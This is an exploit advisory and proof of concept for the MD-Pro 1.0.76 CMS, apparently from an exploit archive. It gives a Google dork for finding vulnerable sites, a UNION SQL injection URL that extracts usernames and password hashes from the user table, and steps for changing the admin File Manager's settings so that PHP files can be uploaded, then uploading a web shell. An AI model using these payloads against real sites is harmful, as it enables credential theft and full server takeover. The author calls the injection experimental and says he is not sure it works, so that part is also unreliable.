# Exploit Title: MD-Pro 1.0.76. ( SQL injection + shell upload ) # Google Dork: intext: Powered by MD-Pro # Date: 2024-08-30 # Exploit Author: Emiliano Febbi # Vendor Homepage: https://www.opensourcecms.com/wp-content/uploads/MDPro-website-description.png # Software Link: https://www.opensourcecms.com/mdpro/ # Version: 1.0.76. # Tested on: Windows 10 ::: ::: ::::::::: ::::::::: ::::::::: :::::::: :+:+: :+:+: :+: :+: :+: :+: :+: :+: :+: :+: +:+ +:+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +#+ +:+ +#+ +#+ +:+ +#++:++#++:++ +#++:++#+ +#++:++#: +#+ +:+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ #+# #+# #+# #+# #+# #+# #+# #+# #+# ### ### ######### ### ### ### ######## #2024 [code] Proof of concept for MD-Pro 1.0.76. ( SQLi + shell upload ) -------------------------------------------------------------Part 1------------------------------------------------------------------------------- The SQLi that I will introduce is an experimental stuff that I am not even 100% sure! ############################################################################################################################################################ #modules.php?op=modload&name=News&file=article&sid=-1 union all select 1,pn_name,3,4,5,6,7,pn_pass,9,10,11,12,13,14,15,16,17,18,19,20,21,22 FROM md_users--# ############################################################################################################################################################ -------------------------------------------------------------Part 2-------------------------------------------------------------------------------- Vulnerability present in the MD-Pro module ' EW FileManager ' inside the admin panel. The extensive query is: ' index.php?module=ew_filemanager&type=admin ' of the module, now you have to make changes: 1# Go to this address * index.php?module=ew_filemanager&type=admin&func=modifyconfig * and change these fields in this way: in default's directory of users files insert ' ./ ' or ' ../ ' 2# Add this string in both to the modifiable extensions and to those of images ' htm,html,txt,php ' AND ' jpg,jpeg,png,bmp,gif,php ' (save all). 3# Now go to File Manager (now is activated) and you can upload the shell from the basic upload form. [/code]